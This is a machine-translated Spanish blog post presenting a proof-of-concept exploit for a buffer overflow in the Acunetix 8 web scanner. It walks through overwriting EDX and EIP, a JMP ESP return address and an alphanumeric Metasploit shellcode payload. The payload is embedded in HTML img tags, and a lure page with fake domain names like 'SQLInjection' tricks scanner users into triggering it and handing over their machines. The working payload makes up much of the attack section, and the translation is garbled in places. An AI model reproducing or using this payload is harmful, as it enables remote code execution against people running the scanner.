Acunetix 0day Traducido en Español

Pwn los n00bs - Acunetix 0 días
Hace unas semanas he publicado un artículo sobre WINRAR 0day .
Ese artículo reveló una nueva vulnerabilidad que dio atacantes , la capacidad de realizar ataque de suplantación.
Muchas personas me escribieron acerca de los problemas de ese tipo de artículo ( por ejemplo).
Así que esta vez estoy Goanna revela un nuevo 0day que ayudará a los administradores de seguridad para proteger sus sitios web en contra de muchos escaneos de vulnerabilidades .
Una gran cantidad de sitios de propietarios le dirá que los números de la mayoría de las exploraciones , realizadas en contra de sus sitios , se llevan a cabo por herramientas automáticas como NESSUS , Acunetix y AppScan .
Hoy 0 días se centrará en uno de la exploración web más popular del mundo , Acunetix .
El POC será contra Acunetix 8 (build 20120704 , ya que es una de la versión más común agrietada que se publicó en la red y utilizado por muchos hackers novatos ) .
Esta revelación no sólo revelará una nueva vulnerabilidad , pero demuestra una percepción completamente nueva de tratar con los ataques externos .
En lugar de proteger sus sitios web una y otra vez , o la compra de un nuevo WAF avanzada ( firewall de aplicaciones web), vamos a darle a los atacantes una razón para tener miedo , por lo que pensar dos veces antes de que se pulse el botón de "SCAN " .
En este artículo no voy a dar un trabajo completo explotar para todos los escenarios de exploración ni para todos los sistemas operativos , pero una prueba de concepto que se espera que crezca en un nuevo esfuerzo de investigación para las vulnerabilidades de las herramientas de prueba de penetración .



Acunetix es una poderosa herramienta para el análisis y la búsqueda de vulnerabilidades en sitios web.
Muchos atacantes novatos tienden a usar esta herramienta debido a la simplicidad de su uso.
Acunetix ofrece a sus usuarios un simple escaneo de base asistente que cubre muchos aspectos del análisis de vulnerabilidades.
Uno de los aspectos es la capacidad de escanear más dominios o subdominios relacionados con el sitio web de escaneado.
Por ejemplo, si escaneamos mi blog "http://an7isec.blogspot.co.il", obtendremos el resultado se muestra a continuación:



Después de investigar un poco acerca de esta opción, me di cuenta de que Acunetix inicia su asistente mediante el envío de una petición HTTP al sitio y aprender sobre él a partir de su respuesta HTTP.
Además el asistente aprende sobre los dominios relacionados externos de las fuentes externas que aparecen en el sitio web, por ejemplo:
"<img Src=http://externalSource.com/someimg.png>"
"<a Href=http://externalSource.com/> </ a>"
  Etc. ..

Análisis detallado revela que si uno de la longitud del nombre de dominio externo es más de 268 Byte de, Acunetix se estrelló, por lo que si queremos provocar un accidente, lo único que tenemos que hacer es poner algún tipo de fuente externa en nuestro sitio, que tener la longitud de 268 bytes de o más, decir algo como esto :

Código: [Seleccionar]

<A href= “http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA”> 

Vista rápida de esta aplicación en el depurador Inmunidad revela que EDX fue corrompido por la cadena de formación de pelusa que causó violación de acceso:



A pesar de que aún la escritura corre sobre la imposición de controlador estructurado ( SEH ) que probablemente se dará cuenta , mi consejo para ti es no ir por ese camino , créeme que lo intenté durante varios días sin éxito ( debido al mecanismo SHE segura ) .

Sin embargo, tenemos otro problema con este exploit , en una palabra , "ASCII" .
Acunetix obtiene su información sobre los dominios externos como una dirección URL.
Este hecho provoca que la cadena se convierte en explorador Web cordaje no daña .
Mientras ASCII acepta caracteres como :
0x22 ( ") , 0x23 (#), 0x24 ($), 0x25 (%), 0x5C (\), 0x2F (/) y más ...

Cadena URL acepta sólo caracteres alfanuméricos imprimibles y URL convierte caracteres especiales (con pocas excepciones).
Así que si mi fuente externa contiene uno de los caracteres especiales , que se convertirán en
"% ALGO " .
Por ejemplo, el carbón "comillas" (") se convertirá en 253.232 en la memoria porque es la traducción de 22 % .

Otro ejemplo que demuestra la codificación URL es: char "por ciento" (% ), que se convierte en 253.235 en la memoria.
Sin pasar por él, será mediante la construcción de un exploit que sólo contiene "AZ , az, 1-0 " caracteres y unos caracteres especiales que no se convierten en el proceso de URL ENCODE como :
 " ! () = } {" .
(no es un trabajo sencillo en absoluto)

En resumen, que tenía que encontrar una manera de arreglar el flujo de la aplicación con el fin de evitar la SEH basado explotar (debido a la imposibilidad de eludir la protección de seguro SHE con cadenas URL ASCII solamente).

Por último , he encontrado una manera .
Con el fin de fijar el caudal, EDX tuvo que ser sobreescrito con una dirección de memoria legible.
Sin embargo, es importante recordar que EDX no se ha utilizado como es, pero menos 8

Código: [Seleccionar]

MOVE ECX, DWORD PTR DS: [EDX-8];

Lo que significa que no importa qué dirección de memoria que utilizamos, hay que añadir 8 a la dirección (en la explotación), convertir toda la dirección en imprimir String url, y esperamos lo mejor.

Después poco de investigación, encontré tal dirección.
La dirección estaba en "0x663030XX" y por suerte tenía la posibilidad de convertirse en el URL de cuerda sin caracteres especiales del malo -> "F005".
Después de jugar con el código me encontré con que la ubicación exacta de ese EDX sobrescribir, es a 268 Offset de byte de.
Así que por ahora nuestro exploit se ve así:

Código: [Seleccionar]

<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>

Running ACUNETIX's scan against that payload, caused the next result:




Como se puede ver arriba, la EIP se ha sobrescrito!
Parece que la idea de fijar el flujo se ha realizado correctamente, ya que me permitió estar en una mejor posición de ataque (EIP sobrescribir).
Junto a ella, nuestro espacio potencial para el código shell se presenta ahora en EAX y ESP.
Cuando se trata de la decisión de la elección de ESP o EAX, ESP es una mejor opción a partir de dos aspectos diferentes:

Uno, ESP está apuntando directamente al principio de la cadena de la cáscara.

Dos, hay mucho más espacio para un código shell grande para ser escrito.

Después elegí ESP, necesitaba encontrar una instrucción de "JMP ESP" en una dirección de memoria que podría escribirlo cadena URL (ASCII limitada como mención arriba).
La dirección deseada fundado con éxito en la localización de: 0x7e79515d (Sxs.dll) -
(En ASCII "] Qy ~").

Después de todo eso, nuestro código shell supone que se vea así:

Código: [Seleccionar]

<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>
  

500f = 0x66303035: localización de memoria legible para fijar el flujo de la aplicación que fue corrompido por el desbordamiento de búfer.
] Qy ~ = 0x7e79515d (JMP ESP de Sxs.dll).


Bueno, en este momento estamos en la etapa semifinal, que ejecuta la aplicación en contra de la carga útil más arriba, produce el siguiente resultado:



Yea ... aterrizamos exactamente al principio de la carga final.


El siguiente paso será el uso de la cáscara de Windows adecuado que se realizará sólo de cadena URL (ASCII limitada).
Dicha carcasa se ​​puede generar con "Metasploit" y se llama "alfanumérico Shell".
Lo importante a recordar durante el uso de tal carga útil, es que la dirección de inicio de la carga debe ser presentada en uno de los registros. Si la carga se presenta en el ESP, el primer código de operación de la concha tiene por qué ser "PUSH ESP".
En mi prueba de concepto, usé simple "CALC.EXE" shell code generado por "Metasploit que me llevó a la etapa final que es, trabajar explotar!
Por otra parte, nuestra debilidad es sin pasar con éxito la protección DEP, simplemente seleccionando sólo las direcciones que no se compilan con DEP.
Y debido al hecho de que la propia Acunetix no se cumple con el DEP, este exploit debería funcionar perfectamente en Windows XP.


Después de alcanzar con éxito todos nuestros objetivos, vamos a ver en el trabajo final explotar:

Código: [Seleccionar]

<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB
0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9
JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKP
KZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQK
UNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6
LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15X
UXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN
KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>

Tenemos que recordar que para poder disfrutar de nuestro exploit, el hacker novato debe comprobar nuestro nombre de dominio adicional, en la lista de los dominios adicionales en ventana del asistente Acunetix.
¿Qué podemos hacer para hacer que nuestro nombre de dominio atractivo?
Pensando en ello, se me ocurrió con dos ideas:

1: escribir un nombre de dominio de intentar que hará que los hackers comprobar ese dominio, como, ADMIN.ControlMangment.1249874350345.An7isec.blogspot.co.il.

2: uso de varios dominios externos con los siguientes nombres:

"SQLINJECTION"
"XSS"
"CSRF"
Y así sucesivamente ...

Este tipo de nombres, probablemente le dará el ojo del pirata informático la sensación de que la ventana de la lista de dominio es en realidad una ventana de opciones.
El abajo el código escrito demuestra que tipo de engañoso:

Código: [Seleccionar]

<html>
<img src="http://SQLInjection........................................
.....................................................................
.....................................................................
............AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB
0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9
JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKP
KZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQK
UNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6
LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15X
UXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN
KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>

<img src="http://XSS.................................................
.....................................................................
.....................................................................
...">

<img src="http://CSRF................................................
.....................................................................
.....................................................................
....">

<img src="http://DeepScan............................................
.....................................................................
.....................................................................
........">

<img src="http://NetworkScan.........................................
.....................................................................
.....................................................................
...........">

<img src="http://DenialOfService.....................................
.....................................................................
.....................................................................
...............">

</html>

En conclusión,

Después de todo lo anterior, hemos creado una poderosa explotar que los hackers Newbie
sin duda enamorarse de.
Este exploit nos dará la capacidad de hacer todo con todo lo que los hackers desagradables Novato que escanean nuestros días los sitios y la noche, matando a nuestro tráfico, llenar todos los formularios del sitio web de basura y así sucesivamente ...
Además, puede ser utilizado con el fin de reunir información de inteligencia inteligente sobre las fuerzas hostiles que quieren atacar nuestra aplicación web.

PERO!
La más poderosa idea que me motivó a revelar este concepto y POC, es el hecho de que este exploit es asesino anonimato! , Porque incluso si el atacante utiliza el proxy inteligente y seguro más en el mundo, como "TOR" y otros, su culo se dará a conocer y el pleno control de su máquina de escáner se ganará.

Gracias a todos por leer mi post, espero que os guste,
Buena caza, An7i

PD
Aquí hay un video de explotar plenamente funcional y script en Perl que genera costumbre explotar:


Link del video : https://www.youtube.com/watch?v=ifv9fRzVEzw